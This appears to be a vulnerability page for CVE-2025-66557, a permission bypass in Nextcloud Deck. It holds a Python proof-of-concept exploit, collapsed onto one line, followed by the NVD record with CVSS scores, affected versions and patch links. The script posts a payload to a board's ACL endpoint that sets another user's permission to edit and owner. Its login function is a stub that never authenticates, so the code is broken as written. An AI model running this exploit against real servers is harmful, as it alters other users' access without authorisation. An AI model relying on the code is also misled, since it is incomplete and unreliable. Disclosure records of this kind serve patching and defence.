CVE-2025-66557

import requests import json # CVE-2025-66557 PoC - Nextcloud Deck Permission Bypass # Target: Nextcloud Deck < 1.14.6 or < 1.15.2 TARGET_URL = "https://vulnerable-nextcloud.example.com" USERNAME = "attacker" PASSWORD = "password123" BOARD_ID = "1" TARGET_USER_ID = "victim" def get_auth_token(): """Authenticate and get Nextcloud session token""" session = requests.Session() # Login to Nextcloud login_url = f"{TARGET_URL}/index.php/login" login_data = { "user": USERNAME, "password": PASSWORD } # Note: Actual implementation depends on Nextcloud API return session def exploit_permission_bypass(session): """Exploit the permission bypass vulnerability""" # The vulnerability allows users with 'Can share' permission # to modify other recipients' permissions exploit_url = f"{TARGET_URL}/index.php/apps/deck/api/v1.0/boards/{BOARD_ID}/acl" # Malicious payload to modify target user's permissions exploit_payload = { "type": "user", "id": TARGET_USER_ID, "participant": { "permission": "edit", # Escalate permission "owner": True } } headers = { "Content-Type": "application/json", "OCS-APIREQUEST": "true" } # Send exploit request response = session.post(exploit_url, json=exploit_payload, headers=headers) if response.status_code == 200: print("[+] Permission bypass successful!") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status: {response.status_code}") if __name__ == "__main__": session = get_auth_token() exploit_permission_bypass(session)

{"cve": {"id": "CVE-2025-66557", "sourceIdentifier": "[email protected]", "published": "2025-12-05T18:15:58.977", "lastModified": "2025-12-09T16:46:17.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nextcloud Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud. Prior to 1.14.6 and 1.15.2, a bug in the permission logic allowed users with \"Can share\" permission to modify the permissions of other recipients. This vulnerability is fixed in 1.14.6 and 1.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:deck:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.14.0", "versionEndExcluding": "1.14.6", "matchCriteriaId": "29F12EA5-770A-4C40-A049-CA2EA77CE016"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nextcloud:deck:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.15.0", "versionEndExcluding": "1.15.2", "matchCriteriaId": "32A3D86C-1990-4E96-8027-AF235997BE7D"}]}]}], "references": [{"url": "https://github.com/nextcloud/deck/commit/f1da8b30a455f02373d44154da04494c949a95ae", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nextcloud/deck/pull/7131", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/nextcloud/security-advisories/security/advisories/GHSA-wwr8-hx9g-rjvv", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}, {"url": "https://hackerone.com/reports/3247499", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}